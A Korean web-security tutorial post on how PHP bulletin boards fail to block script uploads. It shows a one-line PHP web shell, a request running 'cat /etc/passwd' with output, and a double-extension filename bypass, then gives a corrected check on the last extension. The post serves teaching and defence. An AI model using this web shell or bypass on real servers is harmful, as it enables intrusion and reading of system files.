회원가입

로그인

아이디
비밀번호
ID/PW 찾기
아직 회원이 아니신가요? 회원가입 하기

웹 해킹 4/15 (file upload 알고리즘 시의 주의할점 -1-)

Profile
:맥노턴
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
4)

이번에 다룰 연속적인 주제는 기존의 Web Board 에서 자주 발견된 버그이다.
이 보안 프로그램에서 다루는 내용이 유난히 Web Board 내용이 많은데 그것은
Web 에서 Board 의 비율이 굉장히 높은 비중을 차지하고 있으며, Web Board
에서 나온 대부분의 Security Hole 은 다른 CGI 에서도 드러나는 현상들이기
때문이다.

첫번째 다룰 주제는 Board 에 file upload 할때 일어날 수 있는 문제점 중의
하나이다. php 프로그래밍에서는 사용자가 file 을 올리려 할때 php 와 같은
확장자를 갖는 file 을 올리는 것을 막아야 한다. 이유는 사용자가 Server 에
php file 을 올릴 수 있다면 서버에서 shell 을 실행할 수 있기 때문이다.

예를 들자면 다음과 같은 script 를 Server 에 Upload 했다고 하자.

hacking.php

<?
passthru($beist);
?>

cracker 는 다음과 같은 방법으로 System 에서 Command 를 Execute 할 수있다.

[요청]
http://server/hacking.php?beist=cat /etc/passwd

[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin  operator:*:2:5:System &:/:/sbin/nologin  bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin  tty:*:4:65533:Tty Sandbox:/:/sbin/nologin  kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin  ................................

cracker 는 Server 의 passwd file 을 읽을 수 있다. (물론 더 침입을 시도
하였다면 System 의 Root 가 되는 것도 쉽게 가능하였을 것이다.)  

예전에 어떤 CGI 에서 다음과 같은 방법으로 php 업로드를 막으려 하였다.
하지만, 완벽한 보안은 없는법. 이를 깨는 방법도 있다.

write_ok.php

1   <?  
2  
3   /* 절차 생략 */
4
5   $check=explode( ".", $in_file_name);
6
7   if($check[1]!="txt")
8   {
9   echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
10  exit;
11  }
12
13  $exist = file_exists("data/$in_file_name");  
14  if($exist)
15  {  
16  echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17  exit;
18  }  
19
20  if(!copy($in_file, "data/$in_file_name"))
21  {  
22  echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23  exit;
24  }  
25
26  chmod("data/$in_file_name", 0444);  
27
28  unlink($in_file);  
29
30  /* 절차 생략 */
31
32  ?>  

/* 이해를 쉽게 하기 위하여 소스의 맨 앞에 line number 를 붙였다.
    write_ok.php 로 값이 넘어갈때 file 의 변수값은 $in_file 이다. 뒤에
    apache, php 로 돌아가고 있는 서버일때 사용자의 FILE FORM 변수가
    in_file 이라면 넘어올때 $in_file_name, $in_file_size 와 같이 자동적으로
    변수가 붙게 된다. $in_file_name 은 사용자가 올린 file 이름을 말한다.
    5 번째 라인에서 $in_file_name 을 . 을 기준으로 $check 에 배열형식으로
    담는다. 예를 들어 이 문법은, test.php 라는 file 을 사용자가 올렸다면
    $check[0] 에는 test 가, $check[1] 에는 php 가 담기게 된다.
    7 번째 줄에서 $check[1] 의 확장자가 txt 가 아니라면 모두 잘못된
    file 로 간주하고 스크립트 실행을 중지시켜 버린다.
    만약 정상적인 file 이라면 그 다음 스크립트를 진행하여 file 은 아마도
    올바르게 저장이 될 것이다. */
              
하지만 이 방법에도 취약점이 존재한다. 분명히 explode 를 이용하여 배열을
나누긴 하지만 $check[1] 에만 txt 가 담기게 하면 인증을 무사히 통과할 수
있을 것이다. 그래서 filename 을 hacking.txt.php 라고 올린다다면 $check[1]
에는 txt 가 담기게 될것이고 결과적으로 php 파일은 올라가게 될것이다.

[요청]
http://server/data/hacking.txt.php?beist=cat /etc/passwd

[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin  operator:*:2:5:System &:/:/sbin/nologin  bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin  tty:*:4:65533:Tty Sandbox:/:/sbin/nologin  kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin  ................................

php3, html, shtml 와 같이 php 스크립트를 돌릴수 있는 확장자도 더 있지만
여기서는 설명을 위해 php 확장자 단 하나만이 스크립트를 돌릴 수 있다는
가정하에 설명하였다.

해결 방법을 알아보자.

여기서의 문제점은 file name 에서 . 으로 나눴을때의 기준으로 첫번째
배열만 검사를 한다는 점이다. (0 부터 시작한다.) 이에 대한 보완점으로
file name 에서 . 으로 나누었을때 맨 마지막에 위치한 배열을 검사해야한다.
올바르게 갱신된 소스를 살펴보자.

write_ok2.php

1   <?  
2  
3   /* 절차 생략 */
4
5   $check=explode( ".", $in_file_name);
6   $point=count($check)-1;
7   if($check[$point]!="txt")
8   {
9   echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
10  exit;
11  }
12
13  $exist = file_exists("data/$in_file_name");  
14  if($exist)
15  {  
16  echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17  exit;
18  }  
19
20  if(!copy($in_file, "data/$in_file_name"))
21  {  
22  echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23  exit;
24  }  
25
26  chmod("data/$in_file_name", 0444);  
27
28  unlink($in_file);  
29
30  /* 절차 생략 */
31
32  ?>  

추가된 부분은 6 번째 라인이다. $check 배열을 count 함수를 이용하여 몇개의
배열이 있는지 알아보았고 그 $point 에 담아놓았다. 7 번째 줄에서 검사를 할때
$point 를 주어 맨 마지막 배열을 검사하도록 하였다.

결국 cracker 가 hacking.txt.php 를 올려도 txt 가 담긴 배열이 아닌 php 가
담긴 배열을 검사함으로써 악의적인 목적을 가진 script 의 upload 를 막을 수가
있다.

Profile
:맥노턴
레벨 31
370445/
-7%
McNorton & Education Lab.
Director
댓글
0
댓글 쓰기
권한이 없습니다.

로그인

아이디
비밀번호
ID/PW 찾기
아직 회원이 아니신가요? 회원가입 하기